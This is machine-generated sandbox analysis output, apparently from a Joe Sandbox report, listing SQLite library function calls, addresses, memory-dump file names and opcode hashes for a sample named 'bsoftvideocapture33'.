                                                                                          • Instruction Fuzzy Hash: 3681FA74A046098FCB44DF99C480A9DF7F7AFA8354F258529E855AB314EB34EC46CF90
                                                                                          APIs
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                            • Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                          • sqlite3_column_int.SQLITE3 ref: 6096A3F3
                                                                                          • sqlite3_step.SQLITE3 ref: 6096A435
                                                                                          • sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_intsqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_prepare_v2sqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 247099642-0
                                                                                          • Opcode ID: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
                                                                                          • Instruction ID: 69535c0605dcb565d56369453fd68d3a3097adfd173720c6e67b3d4aca8354ad
                                                                                          • Opcode Fuzzy Hash: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
                                                                                          • Instruction Fuzzy Hash: FF2151B0A143148BEB109FA9D88479EB7FAEF64308F00852DE89597350EBB8D845CF51
                                                                                          APIs
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6096A322
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_step.SQLITE3 ref: 6096A32D
                                                                                          • sqlite3_column_int.SQLITE3 ref: 6096A347
                                                                                            • Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C
                                                                                          • sqlite3_reset.SQLITE3 ref: 6096A354
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2sqlite3_resetsqlite3_stepsqlite3_value_int
                                                                                          • String ID:
                                                                                          • API String ID: 326482775-0
                                                                                          • Opcode ID: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
                                                                                          • Instruction ID: 7c1586c82cd56d85cf32929a5cd575737867df940847ca2bf63216634e784e33
                                                                                          • Opcode Fuzzy Hash: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
                                                                                          • Instruction Fuzzy Hash: 0E214DB0A043049BDB04DFA9C480B9EF7FAEFA8354F04C429E8959B340E778D8418B51
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_step.SQLITE3 ref: 6094A8CE
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 6094A8E9
                                                                                          • sqlite3_reset.SQLITE3 ref: 6094A90F
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_leave$sqlite3_bind_int64sqlite3_column_int64sqlite3_mutex_entersqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 3728028068-0
                                                                                          • Opcode ID: 4480569ff34e75ea7b3577054b4356c5dff4901ba2a75f55588298fac9ec1789
                                                                                          • Instruction ID: ee155327ad46b109c371b626633bea00b74b78c8347343cda40424352d7c4f30
                                                                                          • Opcode Fuzzy Hash: 4480569ff34e75ea7b3577054b4356c5dff4901ba2a75f55588298fac9ec1789
                                                                                          • Instruction Fuzzy Hash: 31010C7060A3009FDB00EF2CC48539ABBE5EF64358F15887DE88C8B345E775D8508B82
                                                                                          APIs
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F83D
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F85E
                                                                                          • sqlite3_step.SQLITE3 ref: 6095F869
                                                                                          • sqlite3_reset.SQLITE3 ref: 6095F874
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_mutex_leave$sqlite3_freesqlite3_mprintfsqlite3_mutex_entersqlite3_prepare_v2sqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 2747803115-0
                                                                                          • Opcode ID: e7ba5a424be07f97404f27e37360827cc19527dc01f9216413d7b5c44ff8a2c2
                                                                                          • Instruction ID: f00e87c6dd3c8672f4b8fa92d33f96d93ee8ab4b9f2e93312e2458fba8eee522
                                                                                          • Opcode Fuzzy Hash: e7ba5a424be07f97404f27e37360827cc19527dc01f9216413d7b5c44ff8a2c2
                                                                                          • Instruction Fuzzy Hash: 9311DBB4A046049FCB04DF69C0C565AF7F6EFA8318F05C869E8898B349E735E894CB91
                                                                                          APIs
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6095F7AC
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_blob.SQLITE3 ref: 6095F7D5
                                                                                          • sqlite3_step.SQLITE3 ref: 6095F7E0
                                                                                          • sqlite3_reset.SQLITE3 ref: 6095F7EB
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_leave$sqlite3_bind_blobsqlite3_bind_int64sqlite3_freesqlite3_mprintfsqlite3_mutex_entersqlite3_prepare_v2sqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 1956248851-0
                                                                                          • Opcode ID: 50d15a15163a625fc2631aa0d6ee46575d14479fce2c17ccb278089255f39c88
                                                                                          • Instruction ID: 4081a9388348d49f983bc2db4af636c0e8f58482a36dc41ad0278772ae94fdf0
                                                                                          • Opcode Fuzzy Hash: 50d15a15163a625fc2631aa0d6ee46575d14479fce2c17ccb278089255f39c88
                                                                                          • Instruction Fuzzy Hash: 2E01AEB4908304AFDB00EF69D48579EFBE5EF68358F00885EE89887345E7B5D9448B82
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 609257D2
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_double.SQLITE3 ref: 609257EA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465616180-0
                                                                                          • Opcode ID: 9530f87787b8119f4c9cc68ae88dcf3bf39b5687c460dfc3dfef9c72e832448e
                                                                                          • Instruction ID: 7d90fc06d4cce0e838b429dd10c1bf3c3a361cb752c215b3ba3cb2f1ab2ab036
                                                                                          • Opcode Fuzzy Hash: 9530f87787b8119f4c9cc68ae88dcf3bf39b5687c460dfc3dfef9c72e832448e
                                                                                          • Instruction Fuzzy Hash: 3D314CB1918304DBCB08DF19E49519ABBE6EB98324F10C51EEC994B38DD378C990CB91
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B71E
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B73C
                                                                                          • sqlite3_step.SQLITE3 ref: 6094B74A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64$sqlite3_mutex_leavesqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 3305529457-0
                                                                                          • Opcode ID: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
                                                                                          • Instruction ID: cea3564161c85327b61b62d60446574847d05a2bcfebeda4641ea5396b37aa5a
                                                                                          • Opcode Fuzzy Hash: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
                                                                                          • Instruction Fuzzy Hash: D401A8B45047049FCB00DF19D9C968ABBE5FF98354F158869FC888B305D374E8548BA6
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B795
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6094B7B3
                                                                                          • sqlite3_step.SQLITE3 ref: 6094B7C1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64$sqlite3_mutex_leavesqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 3305529457-0
                                                                                          • Opcode ID: aa85c24925b376cbc314ef521cc12e9f9171d3119abae0787e576649609cd9a8
                                                                                          • Instruction ID: 1e84d685e39bf1e153ba29bb425c2efe513faafee25cd0ef6e7f8ad628d1a415
                                                                                          • Opcode Fuzzy Hash: aa85c24925b376cbc314ef521cc12e9f9171d3119abae0787e576649609cd9a8
                                                                                          • Instruction Fuzzy Hash: 6B01BBB45057049FCB00DF19D58968ABBE5EF98354F15C46AFC888B305E374E854CFA6
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6090C1EA
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6090C22F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1477753154-0
                                                                                          • Opcode ID: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
                                                                                          • Instruction ID: fc120f7ed3300d8301d0f99cb769197b575d5683181bd6b289e4b53452841bc5
                                                                                          • Opcode Fuzzy Hash: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
                                                                                          • Instruction Fuzzy Hash: 6501F4715042548BDB449F2EC4C576EBBEAEF65318F048469DD419B326D374D882CBA1
                                                                                          APIs
                                                                                            • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 609255B2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465156292-0
                                                                                          • Opcode ID: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
                                                                                          • Instruction ID: 19c4c58ecb434a21204d9b38047e93a23a7f28015e8477a734fda6841bb58fe8
                                                                                          • Opcode Fuzzy Hash: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
                                                                                          • Instruction Fuzzy Hash: 56317AB4A082188FCB04DF69D880A8EBBF6FF99314F008559FC5897348D734D940CBA5
                                                                                          APIs
                                                                                            • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60925769
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465156292-0
                                                                                          • Opcode ID: f78b12b45e858c7fd8cb74f5d211d4e30abbc68d4504511404b73e1b177a8d68
                                                                                          • Instruction ID: d5dd20366bd30be5098f9e48471fbeb1ccf01997be5a2761bb4486817e6b3aba
                                                                                          • Opcode Fuzzy Hash: f78b12b45e858c7fd8cb74f5d211d4e30abbc68d4504511404b73e1b177a8d68
                                                                                          • Instruction Fuzzy Hash: 23F08171A10A28D7CB106F29EC8958EBBB9FF69254B055058ECC1A730CDB35D925C791
                                                                                          APIs
                                                                                            • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60925508
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465156292-0
                                                                                          • Opcode ID: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
                                                                                          • Instruction ID: ad89f0bb34aa7175efe61e1ac22fb0c12735e6005c3b9edbf096fd229bca234b
                                                                                          • Opcode Fuzzy Hash: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
                                                                                          • Instruction Fuzzy Hash: 5A01A475B107148BCB109F2ACC8164BBBFAEF68254F05991AEC41DB315D775ED458BC0
                                                                                          APIs
                                                                                            • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465156292-0
                                                                                          • Opcode ID: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
                                                                                          • Instruction ID: 4fd0dfe8dd6226820e052206e0db6187a6d8a97f2116fb4a305c2fd2856f8961
                                                                                          • Opcode Fuzzy Hash: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
                                                                                          • Instruction Fuzzy Hash: 94F08CB5A002099BCB00DF2AD88088ABBBAFF98264B05952AEC049B314D770E941CBD0
                                                                                          APIs
                                                                                            • Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60925678
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 1465156292-0
                                                                                          • Opcode ID: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
                                                                                          • Instruction ID: bc2fa39936d9f4ed0ba1ebf98b65e017ff83ed2bbf5e058a49948814e7f33c49
                                                                                          • Opcode Fuzzy Hash: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
                                                                                          • Instruction Fuzzy Hash: 59E0EC74A042089BCB04DF6AD4C194AB7F9EF58258B14D665EC458B309E231E9858BC1
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
